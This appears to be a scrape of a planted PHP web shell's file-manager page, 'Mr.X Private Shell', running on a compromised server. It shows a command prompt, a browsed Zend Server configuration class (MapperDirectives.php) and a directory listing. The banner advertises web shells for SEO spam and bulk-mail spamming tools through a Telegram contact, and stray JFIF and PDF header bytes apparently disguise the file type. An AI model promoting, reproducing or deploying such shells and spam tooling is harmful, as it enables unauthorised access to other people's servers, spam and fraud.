xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Configuration;

use Zend\EventManager\EventManagerInterface;
use Zend\EventManager\EventManager;
use Zend\EventManager\EventManagerAwareInterface;
use Zend\Db\Sql\Predicate\Predicate;
use Zend\Db\Sql\Where;
use ZendServer\Ini\IniWriter;
use \ZendServer\FS\FS,
    Zend\Db\Sql\Select;
use ZendServer\Log\Log;
use Zsd\Db\TasksMapper;
use Zend\Db\TableGateway\TableGateway;
use ZendServer\Utils\Helper;
use Zend\Db\ResultSet\ResultSet;
use ZendServer\Set;

class MapperDirectives extends MapperAbstract implements EventManagerAwareInterface
{
    const ZSD_ZEND_COMMON_DIRECTIVES     = 'ZSD_ZEND_COMMON_DIRECTIVES';
    const ZSD_ZEND_DAEMONS_DIRECTIVES    = 'ZSD_ZEND_DAEMONS_DIRECTIVES';
    const ZSD_ZEND_EXTENSIONS_DIRECTIVES = 'ZSD_ZEND_EXTENSIONS_DIRECTIVES';
    const ZSD_PHP_EXTENSIONS_DIRECTIVES  = 'ZSD_PHP_EXTENSIONS_DIRECTIVES';
    const ZSD_ZEND_DIRECTIVES            = 'ZSD_ZEND_DIRECTIVES';

    // for single PHP version - all the directives are in one table
    const ZSD_DIRECTIVES            = 'ZSD_DIRECTIVES';

    /**
     * Table type mapper
     */
    public $TABLE_TYPE_MAPPER = [
        self::ZSD_DIRECTIVES,
    ];

    // check if this ZS version supports multi PHP versions
    public $isMultiPhp = false;

    protected $setClass = '\Configuration\DirectiveContainer';

    /**
     * @var \Zsd\Db\TasksMapper
     */
    protected $tasksMapper;

    /**
     * @var Mapper
     */
    protected $ddMapper;

    /**
     * @var EventManager
     */
    protected $eventManager;

    /**
     * @var int php version
     */
    protected $phpVersion;

    /**
     * @var int php version
     */
    protected $phpVersions;

    /**
     * @var Table Gateways - array
     */
    protected $tableGateways = [];

    /**
     * @var Table Gateways - array
     */
    protected $directives = [];

    /**
     * @return \Zend\Db\TableGateway\TableGateway $tableGateway
     */
    public function getTableGatewayBy(string $tableName)
    {
        return $this->tableGateways[$tableName];
    }

    /**
     * @return \Zend\Db\TableGateway\TableGateway $tableGateway
     */
    public function getTableGatewayByType(int $type)
    {
        return $this->tableGateways[$this->TABLE_TYPE_MAPPER[$type]];
    }

    /**
     * @return \Zend\Db\TableGateway\TableGateway $tableGateway
     */
    public function addTableGateway(string $tableName, TableGateway $gateway)
    {
        return $this->tableGateways[$tableName] = $gateway;
    }

    public function initTableGateway()
    {

    }

    /**
     * set the directives mapper to work with multiple tables due
     * to multi PHP versions support
     *
     * @return
     */
    public function setMultiPhp() {
        $this->isMultiPhp = true;

        // set the mapper to work with only one table
        $this->TABLE_TYPE_MAPPER = [
            self::ZSD_ZEND_DAEMONS_DIRECTIVES,
            self::ZSD_ZEND_EXTENSIONS_DIRECTIVES,
            self::ZSD_PHP_EXTENSIONS_DIRECTIVES,
            self::ZSD_ZEND_COMMON_DIRECTIVES,
        ];
    }

    /**
     * @param string $directive directive name
     * @param bool $isOnlyDb if get data only from db
     * @return boolean
     */
    public function directiveExists($directiveName, $isOnlyDb = false)
    {
        return isset($this->directives[$directiveName]) || $this->selectSpecificDirectives([$directiveName])->count() > 0;
    }

    /**
     * @param array $newDirectives associative array of directive names and new values
     * @param integer $auditId
     */
    public function setDirectives($newDirectives, $applyToAllPHPVersions = false)
    {
        $directivesArray       = $this->getDirectivesBy(['NAME'=> array_keys($newDirectives)]);//$this->select(new Where(array($predicate->in('NAME', array_keys($newDirectives)))))->toArray();
        $directivesAssociative = array();

        foreach ($directivesArray as $directive) {
            $directivesAssociative[$directive['NAME']] = $directive['DISK_VALUE'];
        }

        $directives = array();
        foreach ($newDirectives as $name => $value) {
            $directives[] = array('name' => $name, 'value' => strval($value));
        }


        // check PHP versions
        $phpVersions = $applyToAllPHPVersions ? array_keys($this->phpVersions) : array($this->phpVersion);

        $this->tasksMapper->insertTask(TasksMapper::DUMMY_NODE_ID, TasksMapper::COMMAND_SAVE_AND_APPLY_BLUEPRINT,
            array(
                'directives' => $directives,
                'phpVersions' => $phpVersions,
            )
        );
        $this->eventManager->trigger('setDirectives', $this,
            array('directives' => $directivesAssociative, 'newDirectives' => $newDirectives));
    }

    /**
     * @param string $license
     * @param string $user
     */
    public function writeLicenseDirectivesToIni($license, $user)
    {
        $writer     = new IniWriter();
        $iniFile    = FS::getGlobalDirectivesFile();
        $iniFile === 'php.ini' ? $section    = 'Zend' : $section    = null; // php.ini is sectioned, while ZendGlobalDirectives is not
        $directives = array('zend.serial_number' => $license, 'zend.user_name' => $user);
        return $writer->updateDirectives($iniFile, $directives, $section);
    }

    public function insertLicenseDetails($license, $user)
    {
        $commonValues = array('EXTENSION' => 'Zend Global Directives', 'INI_FILE' => FS::getGlobalDirectivesFile(), 'MEMORY_ONLY' => 0); // in particular, INI_FILE is important, as there's a unique index over NAME+INI_FILE, thus when node is added to the cluster, we ensure having only 1 set of directives of zend.serial_number+zend.user_name
        $this->getTableGatewayByType(1)->insert(array('NAME' => 'zend.serial_number', 'TYPE' => 1, 'MEMORY_VALUE' => $license, 'DISK_VALUE' => $license)
            + $commonValues);
        $this->getTableGatewayByType(1)->insert(array('NAME' => 'zend.user_name', 'TYPE' => 1, 'MEMORY_VALUE' => $user, 'DISK_VALUE' => $user)
            + $commonValues);
        $this->directives['zend.serial_number'] = [
            'NAME' => 'zend.serial_number', 'TYPE' => 1, 'MEMORY_VALUE' => $license, 'DISK_VALUE' => $license
        ];;
        $this->directives['zend.user_name'] = [
            'NAME' => 'zend.user_name', 'TYPE' => 1, 'MEMORY_VALUE' => $user, 'DISK_VALUE' => $user
        ];
    }

    /**
     *
     * @return multitype:Ambigous <NULL, \Configuration\ResultSet> Ambigous <NULL, \Configuration\ResultSet, \ZendServer\Set>
     */
    public function getLicenseDetails()
    {
        $serialNumberArray = $this->getDirectivesBy(array('NAME' => 'zend.serial_number'));
        $userNameArray =  $this->getDirectivesBy(array('NAME' => 'zend.user_name'));

        if (isset($userNameArray[0]) && isset($serialNumberArray[0])) {
            return array('user_name' => $userNameArray[0]['DISK_VALUE'], 'serial_number' => $serialNumberArray[0]['DISK_VALUE']);
        } else {
            return array();
        }
    }

    /**
     * @return \Zend\Db\ResultSet\ResultSet
     */
    public function selectAllDirectives($direction = 'ASC')
    {
        return $this->getDirectivesResultSetBy([],'NAME',$direction);
    }

    /**
     * @return DirectiveContainer[]
     */
    public function selectAllDirectiveContainers($direction = 'ASC')
    {
        return $this->getDirectivesContainerBy([],'NAME',$direction);
    }

    /**
     * @return DirectiveContainer[]
     */
    public function selectSpecificDirectivesContainers($names,$direction = 'ASC')
    {
        return $this->getDirectivesContainerBy(['NAME' => $names],'NAME',$direction);
    }

    /**
     * @param array $directives
     * @return array
     */
    public function getGroupedExtensionsByDirectives(array $directives)
    {
        $filterdDirectives = $this->getDirectivesBy(['NAME' => $directives]);
            foreach ($filterdDirectives as $ext) {
                $extensions[] = $ext['EXTENSION'];
        }

        return $extensions;
    }

    /**
     * @param array $directivesBlacklist
     * @return array sql queries
     * @todo Add support to this function - multi php
     */
    public function getExportData(array $directivesBlacklist = array())
    {
        $data   = array();
        $table  = $this->getTableGateway()->getTable();
        $select = new Select($table);
        $res    = $this->selectWith($select)->toArray();

        if (!$directivesBlacklist) { // if empty, then we will fetch the blacklist from the configuration
            $blackList      = \Application\Module::config()->get('export');
            if (is_object($blackList) && array_key_exists('directivesBlacklist', $blackListArray = $blackList->toArray())) {
                $directivesBlacklist = $blackListArray['directivesBlacklist'];
            }
        }

        foreach ($res as $row) {
            if (in_array($row['NAME'], $directivesBlacklist)) {
                log::debug("exportConfiguration: skipping {$row['NAME']} as it's blacklisted");
                continue;
            }

            $stringToInt = array('true' => 1, 'false' => 0); // in sqlite, the MEMORY_ONLY colukmn is stored as 'true', 'false' while on MySQL it is stored as 1,0
            foreach ($row as $key => $val) {
                if (isset($stringToInt[$row[$key]])) {
                    $row[$key] = $stringToInt[$row[$key]];
                } else {
                    $row[$key] = "'".trim($row[$key], "' ")."'"; // first trimming single quotes before adding ones
                }
            }
            $line   = "REPLACE INTO ".(string) $this->getTableGateway()->getTable()." (".implode(",", array_keys($row)).') VALUES ('.implode(",",
                    array_values($row)).");";
            $data[] = $line;
        }

        return $data;
    }

    /**
     *
     * @param mixed $extensionsMapRow
     * @return
     */
    public function convertExtensionsMapRowToDirectiveRow($extensionsMapRow)
    {
        // check the default value of the directive
        $defaultValue = false;
        if (isset($extensionsMapRow['defaultValues']) && !empty($extensionsMapRow['defaultValues'])) {
            foreach ($extensionsMapRow['defaultValues'] as $defaultValueData) {
                if (isset($defaultValueData['restrictions']) && !empty($defaultValueData['restrictions'])) {
                    foreach ($defaultValueData['restrictions'] as $restrictionData) {
                        // check the OS against the restriction
                        if (
                            stristr($restrictionData['os'], 'windows') && FS::isWindows() ||
                            stristr($restrictionData['os'], 'linux') && FS::isLinux() ||
                            stristr($restrictionData['os'], 'darwin') && FS::isMac() ||
                            stristr($restrictionData['os'], 'aix') && FS::isAix()
                        ) {
                            $defaultValue = $defaultValueData['fixed'];
                            break;
                        }
                    }
                } else {
                    $defaultValue = $defaultValueData['fixed'];
                }

                // check if found the value
                if (!is_null($defaultValue)) {
                    break;
                }
            }
        }

        if ($defaultValue === false) {
            $defaultValue = '';
        }

        return array(
            'NAME' => $extensionsMapRow['name'],
            'TYPE' => $extensionsMapRow['type'],
            'MEMORY_VALUE' => '',
            'DISK_VALUE' => $defaultValue,
            'EXTENSION' => ($extensionsMapRow['isDaemon'] ? '' : $extensionsMapRow['extension']),
            'DAEMON' => ($extensionsMapRow['isDaemon'] ? $extensionsMapRow['extension'] : ''),
            'INI_FILE' => $extensionsMapRow['iniFileName'],
            'MEMORY_ONLY' => '0',
            'INI_SECTION' => $extensionsMapRow['section'],
            'REQUIRES_RESTART' => $extensionsMapRow['requiresRestart'],
        );
    }

    /**
     * @param array $directives
     * @return \ZendServer\Set
     */
    public function selectSpecificDirectives(array $directives, $params = [])
    {

        $result = $this->getDirectivesSetBy(array_merge(['NAME' => $directives], $params), 'NAME')->toArray();

        if (count($result) != count($directives)) {
            foreach ($directives as $directiveName) {
                $isExist = false;
                foreach ($result as $dbDirective) {
                    if ($dbDirective['NAME'] == $directiveName) {
                        $isExist = true;
                    }
                }
                if ($isExist) {
                    continue;
                }
                $resultRow = $this->getDdMapper()->getDirectiveRow($directiveName);
                if (!empty($resultRow)) {
                    $result[] = $this->convertExtensionsMapRowToDirectiveRow($resultRow);
                }
            }
        }

        return new Set($result, DirectiveContainer::class);
    }

    /**
     * @return \Zend\Db\ResultSet\ResultSet
     */
    public function selectAllExtensionDirectives($component, $direction = 'ASC')
    {
        $result = $this->getDirectivesResultSetBy(['EXTENSION' => $component],'NAME',$direction );
        return $result;
    }

    /**
     * @return \Zend\Db\ResultSet\ResultSet
     */
    public function selectAllDaemonDirectives($daemon, $direction = 'ASC')
    {
        $result = $this->getDirectivesResultSetBy(['DAEMON' => $daemon],'NAME',$direction );
        return $result;
    }

    /**
     * param array $directivesNames
     * @return array
     */
    public function getDirectivesValues(array $directivesNames)
    {
        $directivesContainers = $this->getDirectivesContainerBy(['NAME' => $directivesNames]);

        $values = array();

        /* @var DirectiveContainer */
        foreach ($directivesContainers as $directiveContainer) {
            $values[$directiveContainer->getName()] = $directiveContainer->getValue();
        }

        // check if not all the directives loaded
        if (count($values) != count($directivesNames)) {
            foreach ($directivesNames as $directiveName) {
                if (isset($values[$directiveName])) {
                    continue;
                }

                $jsonDirective = $this->getDdMapper()->getDirectiveRow($directiveName);
                if (!$jsonDirective) {
                    continue;
                }

                $jsonDirective          = $this->convertExtensionsMapRowToDirectiveRow($jsonDirective);
                $values[$directiveName] = $jsonDirective['DISK_VALUE'];
            }
        }

        return $values;
    }

    public function getDirectivesBy($params,$sortBy = null,$direction = 'asc')
    {
        $result = [];
        //if has name param then use quick search
        if (isset($params['NAME'])) {
            if (is_array($params['NAME'])) {
                foreach ($params['NAME'] as $name) {
                    $directive = $this->directives[$name] ?? null;
                    if ($directive && $this->isDirectiveMatch($directive, $params)) {
                        $result[$directive['NAME']] = $directive;
                    }
                }
            } else {
                if ($this->isDirectiveMatch($directive, $params)) {
                    $result[$directive['NAME']] = $directive;
                }
            }
            //If not check all directives
        } else {
            foreach ($this->directives as $directive) {
                if ($this->isDirectiveMatch($directive, $params)) {
                    $result[$directive['NAME']] = $directive;
                }
            }
        }
        if($sortBy){
            Helper::sortBy($result,$sortBy, strtolower($direction));
        }

        return $result;
    }

    public function getDirectivesContainerBy($params,$sortBy = null,$direction = 'asc'){
        $result = [];
        $directives = $this->getDirectivesBy($params,$sortBy,$direction);
        foreach($directives as $directive){
                $result[$directive['NAME']] = new DirectiveContainer($directive);
        }
        return $result;
    }

    public function getDirectivesResultSetBy($params, $sortBy = null, $direction = 'asc')
    {
        $result     = [];
        $directives = $this->getDirectivesBy($params, $sortBy, $direction);
        foreach ($directives as $directive) {
            $result[$directive['NAME']] = $directive;
        }
        $res = new ResultSet();
        if(!empty($result)){
            $res->initialize($result);
        }else{
            $res->initialize(new \ArrayIterator($result));
        }
        return $res;
    }

    public function getDirectivesSetBy($params,$sortBy = null,$direction = 'asc'){
        $result = [];
        $directives = $this->getDirectivesBy($params,$sortBy,$direction);
        foreach($directives as $directive){
               // $res = new Set($directive);
                $result[] = $directive;
        }
        return new Set($result,DirectiveContainer::class);
    }

    public function isDirectiveMatch($directive, $params): bool
    {
        $isMatch = true;
        foreach ($params as $key => $val) {
            if (is_array($val)) {
                $isOptionTrue = false;
                foreach ($val as $k => $v) {
                    if ($directive[$key] == $v) {
                        $isOptionTrue = true;
                    }
                }
                if (!$isOptionTrue) {
                    $isMatch = false;
                }
            } else {
                if (!isset($directive[$key]) || $directive[$key] != $val) {
                    $isMatch = false;
                }
            }
        }
        return $isMatch;
    }

    /**
     * param array $directivesNames
     * @return array
     */
    public function getDirectivesRequiredRestart(array $directivesNames)
    {
        $values = array();
        foreach ($directivesNames as $name) {
            if (isset($directive[$name])) {
                $values[$name] = (bool) $this->directives[$name];
            }
        }

        return $values;
    }

    /**
     * @param string $directiveName
     * @param boolean $clean
     * @return string
     */
    public function getDirectiveMemoryValue($directiveName, $clean = false)
    {
        if(!$this->directives[$directiveName]){
            return null;
        }
        $directiveContainer = new DirectiveContainer($this->directives[$directiveName]);
        if ($clean && $directiveContainer->getType() == DirectiveContainer::TYPE_STRING) {
            return preg_replace('#^"(.+)"$#', '$1', $directiveContainer->getFileValue());
        }
        return $directiveContainer->getDefaultValue();
    }

    /**
     * @param string $directiveName
     * @param boolean $clean
     * @return string
     */
    public function getDirectiveValue($directiveName, $clean = false)
    {
        if(!isset($this->directives[$directiveName])){
            return null;
        }
        // @todo add protection for case where no directive of that name is found
        $directiveContainer = new DirectiveContainer($this->directives[$directiveName]);
        if ($clean && $directiveContainer->getType() == DirectiveContainer::TYPE_STRING) {
            return preg_replace('#^"(.+)"$#', '$1', $directiveContainer->getFileValue());
        }
        return $directiveContainer->getFileValue();
    }

    /**
     * param string $directiveName
     * @return \Configuration\DirectiveContainer
     */
    public function getDirective($directiveName)
    {
        if(!isset($this->directives[trim($directiveName)])){
            throw new \Exception('The directive '.$directiveName.' does not exist!');
        }
        $directiveContainer = new DirectiveContainer($this->directives[$directiveName]);
        return $directiveContainer;
    }

    /**
     * @param Sql\Select $select
     * @return \ZendServer\Set|Array
     * @throws \RuntimeException
     */
    public function initDirectives()
    {
        $directives = [];
        foreach ($this->TABLE_TYPE_MAPPER as $tableName) {
            $gateway   = $this->getTableGatewayBy($tableName);
            $select    = new Select($tableName);
            $sql       = $select->getSqlString($gateway->getAdapter()->getPlatform());
            $resultSet = $gateway->selectWith($select);
            foreach ($resultSet as $directive) {
                $directive['TYPE'] = array_search($tableName, $this->TABLE_TYPE_MAPPER);
                $directive         = (array) $directive;
                if ((isset($directive['PHP_VERSION']) && $directive['PHP_VERSION'] == $this->phpVersion) ||
                    !(isset($directive['PHP_VERSION']))) {
                    $directives[$directive['NAME']] = $directive;
                }
            }
        }

        $this->directives = $directives;
    }

    /**
     * param string $directiveName
     * @return string
     */
    public function getDirectiveExtension($directiveName)
    {
        $directiveContainer = new DirectiveContainer($this->directives[$directiveName]); /* @var $directiveContainer \Configuration\DirectiveContainer */
        return $directiveContainer->getExtension();
    }

    /**
     * @param TasksMapper $tasksMapper
     * @return MapperDirectives
     */
    public function setTasksMapper($tasksMapper)
    {
        $this->tasksMapper = $tasksMapper;
        return $this;
    }

    /**
     * set the DD mapper
     *
     * @param mixed $ddMapper
     * @return $this
     */
    public function setDdMapper($ddMapper)
    {
        $this->ddMapper = $ddMapper;
        return $this;
    }

    /**
     * set the php version
     *
     * @param mixed $ddMapper
     * @return $this
     */
    public function setPhpVersion(string $version)
    {
        $this->phpVersion = $version;
        return $this;
    }

    /**
     * set all the available PHP versions
     *
     * @param array $phpVersions
     *
     * @return $this
     */
    public function setAllPhpVersions($phpVersions)
    {
        $this->phpVersions = $phpVersions;
        return $this;
    }

    /**
     *
     * @return \Configuration\DdMapper
     */
    public function getDdMapper()
    {
        return $this->ddMapper;
    }

    /**
     * @param EventManagerInterface $eventManager
     * @return \Configuration\MapperDirectives
     */
    public function setEventManager(EventManagerInterface $eventManager)
    {
        $this->eventManager = $eventManager;
        return $this;
    }

    /**
     * @return \Zend\EventManager\EventManager $eventManager
     */
    public function getEventManager()
    {
        return $this->eventManager;
    }
}

Filemanager

Name Type Size Permission Actions
Audit Folder 0755
Controller Folder 0755
Forms Folder 0755
License Folder 0755
Task Folder 0755
View Folder 0755
DaemonContainer.php File 3.42 KB 0644
DbImport.php File 4.7 KB 0644
DdMapper.php File 16.8 KB 0644
DirectiveContainer.php File 7.51 KB 0644
ExtensionContainer.php File 4.34 KB 0644
GuiDbModel.php File 4.32 KB 0644
MapperAbstract.php File 9.68 KB 0644
MapperDirectives.php File 22.33 KB 0644
MapperDirectivesAzure.php File 1.18 KB 0644
MapperDirectivesStandalone.php File 8.88 KB 0644
MapperExtensions.php File 10.63 KB 0644
MapperReplies.php File 3.76 KB 0644
PhpVersion.php File 3.52 KB 0644
ReplyContainer.php File 618 B 0644
ServerInfoReplyContainer.php File 1.64 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1